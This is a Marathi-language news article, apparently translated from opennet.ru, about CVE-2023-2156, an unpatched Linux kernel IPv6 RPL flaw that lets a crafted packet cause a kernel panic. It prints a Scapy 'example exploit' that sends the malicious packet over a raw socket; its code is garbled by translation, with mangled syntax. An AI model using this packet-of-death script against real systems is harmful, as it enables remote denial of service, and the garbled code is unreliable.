रिमोट कर्नल क्रॅशला अनुमती देणारी 0-दिवस Linux IPv6 स्टॅक भेद्यता

लिनक्स कर्नलमध्ये असुधारित (0-दिवस) असुरक्षा (CVE-2023-2156) बद्दल माहिती उघड केली गेली आहे, जी विशेषतः डिझाइन केलेले IPv6 पॅकेट (पॅकेट-ऑफ-डेथ) पाठवून सिस्टम थांबविण्यास परवानगी देते. जेव्हा RPL (लो-पॉवर आणि लॉसी नेटवर्क्ससाठी रूटिंग प्रोटोकॉल) प्रोटोकॉलसाठी समर्थन सक्षम केले जाते तेव्हाच समस्या दिसून येते, जे डिफॉल्टनुसार डिस्ट्रिब्युशनमध्ये अक्षम केले जाते आणि मुख्यतः उच्च पॅकेट लॉससह वायरलेस नेटवर्कमध्ये कार्यरत एम्बेडेड डिव्हाइसेसवर वापरले जाते.

RPL प्रोटोकॉल पार्सिंग कोडमधील बाह्य डेटाच्या चुकीच्या प्रक्रियेमुळे असुरक्षितता निर्माण होते, ज्यामुळे अॅसर्ट अयशस्वी होते आणि कर्नल पॅनीक स्थितीत जाते. k_buff (सॉकेट बफर) स्ट्रक्चरमध्ये IPv6 RPL पॅकेट हेडर पार्स करण्यापासून मिळालेला डेटा ठेवताना, CmprI फील्ड 15 वर, Segleft फील्ड 1 वर आणि CmprE 0 वर सेट केले असल्यास, पत्त्यांसह 48-बाइट व्हेक्टर डीकंप्रेस केला जातो. 528 बाइट्स पर्यंत आणि अशी परिस्थिती दिसते जिथे बफरसाठी वाटप केलेली मेमरी पुरेशी नाही. या प्रकरणात, skb_push फंक्शन, डेटाला स्ट्रक्चरमध्ये ढकलण्यासाठी वापरले जाते, डेटा आणि बफरच्या आकारात असमानता तपासते, बफर सीमेच्या पलीकडे लेखन टाळण्यासाठी पॅनीक स्थिती निर्माण करते.

उदाहरण शोषण: # आम्ही scapy.all आयात वरून पॅकेट तयार करण्यासाठी Scapy चा वापर करू * socket आयात करा # तुमच्या LAN इंटरफेसवरून IPv6 वापरा DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # आम्ही पॅकेट पाठवण्यासाठी सॉकेट्स वापरतो sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # पॅकेट तयार करा # प्रकार = 3 हे RPL पॅकेट बनवते # पत्त्यांमध्ये 3 पत्ते आहेत, परंतु CmprI 15 असल्याने, # पहिल्या दोन पत्त्यांपैकी प्रत्येक ऑक्टेट आहे एम्प्लिफिकेशन ट्रिगर करण्यासाठी संकुचित पत्ता # Segleft = 1 म्हणून हाताळले जाते # lastentry = 0xf0 CmprI ला 15 आणि CmprE ला 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type:“a=3,”) सेट करते :", "a8::", "a7::"], segleft=6, lastentry=1xf0) # हे वाईट पॅकेट पाठवा sockfd.sendto(bytes(p), (DST_ADDR, 0))

हे उल्लेखनीय आहे की कर्नल विकसकांना जानेवारी 2022 मध्ये असुरक्षिततेबद्दल सूचित केले गेले होते आणि गेल्या 15 महिन्यांत त्यांनी सप्टेंबर 2022, ऑक्टोबर 2022 आणि एप्रिल 2023 मध्ये पॅच सोडत तीन वेळा समस्या सोडवण्याचा प्रयत्न केला, परंतु प्रत्येक वेळी निराकरण करण्यात आले. पुरेसे नाही आणि असुरक्षा पुनरुत्पादित करणे शक्य नाही. अखेरीस, ZDI प्रकल्प, ज्याने असुरक्षिततेचे निराकरण करण्यासाठी कामाचे समन्वय साधले, कर्नलमध्ये कार्यरत निराकरण उपलब्ध होण्याची प्रतीक्षा न करता असुरक्षिततेबद्दल तपशीलवार माहिती जारी करण्याचा निर्णय घेतला.

अशाप्रकारे, असुरक्षा अद्यापही कायम आहे. विशेषतः, 6.4-rc2 कर्नलमध्ये समाविष्ट केलेला पॅच अप्रभावी आहे. वापरकर्त्यांना त्यांच्या सिस्टमवर RPL प्रोटोकॉल वापरला जात नाही ना हे तपासण्याचा सल्ला दिला जातो, जो sysctl -a | कमांड वापरून करता येतो. grep -i rpl_seg_enabled

स्त्रोत: opennet.ru

एक टिप्पणी जोडा